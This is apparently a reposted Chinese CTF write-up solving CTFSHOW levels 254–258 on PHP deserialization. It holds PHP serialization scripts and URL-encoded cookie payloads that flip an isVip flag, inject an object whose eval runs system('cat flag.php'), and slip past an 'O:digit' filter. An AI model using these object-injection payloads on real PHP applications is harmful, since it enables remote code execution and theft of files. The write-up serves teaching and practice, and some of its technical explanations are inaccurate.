IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTF-PHP反序列化 -> 正文阅读

[PHP知识库]CTF-PHP反序列化

CTFSHOW-关卡254到258-原生类&POP构造

CTF-254-对象引用执行逻辑

username=xxxxxx&password=xxxxxx

解题思路:触发vipOneKeyGetFlag这个方法,同时让方法中的判断为真才能获取flag。

首先分析代码,查看下方判断,用两个GET方法接受账号密码,然后创建ctfShowUser这个类的对象,调用login这个方法,当该方法将isVip赋值为真时才能触发checkVip方法并返回为真,最后触发vipOneKeyGetFlag获取flag。

可以从login方法入手,当$u和$p等于username和password时,isVip将赋值为true。然后执行checkVip方法返回为true时,最后触发vipOneKeyGetFlag获取flag。

通过代码可以发现username和password的值为xxxxxx,那么直接传递账号密码为xxxxxx,底部直接获取flag

?

?

?

CTF-255-反序列化变量修改

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

Get:username=xxxxxx&password=xxxxxx

Cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

该关的源码与上关差距不大,但是在login方法中除了简单比较了一下username和password并没有将isVip改为true,那么在后面的checkVip方法中就无法返回true,无法在vipOneKeyGetFlag方法中获取flag

思路:下方的$user接受的是反序列化,那么可以利用反序列化将isVip的值直接改为true

利用网页工具 菜鸟php工具 将ctfShowUser这个类进行序列化并将isVip的值改为true,获取序列化字符串,使用urlencode编码防止赋值到网页时一些空格或其他数据造成的影响?

查看源代码可知道反序列化是在cookie中的user里面的内容,那么访问页面利用burpsuite进行截断,并添加cookie和其中的user,将user值改为序列化字符串,再在url头部进行username和password的传输

?

放出截断的代码获取flag。

?

?

CTF-256-反序列化参数修改

public $username='x';

public $password='y';

public $isVip=true;

$a=new ctfShowUser();

echo urlencode(serialize($a));

GET:username=x&password=y

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

该关的考点非常清楚,在login和vipOneKeyGetFlag两个方法中$u和$p与username和password分别要全等,但是username和password不能全等。

思路:依旧用上一关的办法并且修改掉$username和password$的值即可,然后在x和y中传递与username和password相同的值,那么即可绕过判断。

?

依旧利用burp截断网页,利用url头传递参数并添加cookie?

?

?

CTF-257-反序列化参数修改&对象调用逻辑


class ctfShowUser{

??? private $class;

??? public function __construct(){

??????? $this->class=new backDoor();

??? }

}

class backDoor{

??? private $code='system("cat f*");';

}

$b=new ctfShowUser();

echo serialize($b);

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D

思路:该关出现了多个类,难度已经偏中等左右。分析代码可以发现有个eval函数,该函数可以将字符串当做JS代码执行,那么就可以从该函数入手。观察代码可以发现__destruct函数调用getInfo这个方法,但是因为ctfShowUser类中的class为info,所以destruct函数指向的info类里的getInfo,那么第一步就是将construct的实例化对象值改为backDoor,使destruct方法调用backDoor这个类中的getInfo从而触发eval函数。在利用eval函数的特性执行hs代码获取falg。

依旧利用网页工具对类进行序列化,将__construct方法的内容改为创建backDoor类的对象,当利用$a实例化ctfShowUser时就会触发__construct方法。根据源码当对象销毁时会执行destruct方法,调用backDoor中的getInfo方法,然后会执行方便eval函数,然后修改code值为JS代码让eval函数执行。

因为这个知道了路径下有flag.php文件,所以直接写上。正常情况下需要利用ls查看当前目录。

为了代码美观,无关的数据已经删掉,因为起不到作用。

?

将反序列化字符串的url编码写入到cookie中并在get中传递参数,获取flag

?

?

CTF-258-反序列化参数修改&对象调用逻辑?

<?php
class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}


class backDoor{
    public $code="system('cat flag.php');";
}

$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>

GET:username=xxxxxx&password=xxxxxx

COOKIE:user=O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

该关比上一关多可过滤字符,代表过滤oc开头后面带数字的数据,i代表不区分大小写,那么这个过滤导致序列化字符串生成的url编码无法使用

可以看到右边的数据就是序列化之后的数据,字母O后面带有数字所以被过滤,那么将字母o后面的数字11改为+11,数字8改为+8,不仅数值没有变,因为字母后面跟的不是纯数字,所以可以绕过过滤

?

str_place为php中的替代函数,第一个参数为要替换的数据,第二个参数为替换之后的数据,第三个参数是要替换的字符串。

注意:一定要序列化之后进行替换,在进行url编码,因为源码中过滤的序列化字符串并不是url编码数据

?

?

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-10-22 20:56:11  更:2022-10-22 20:56:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/20 22:56:12-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码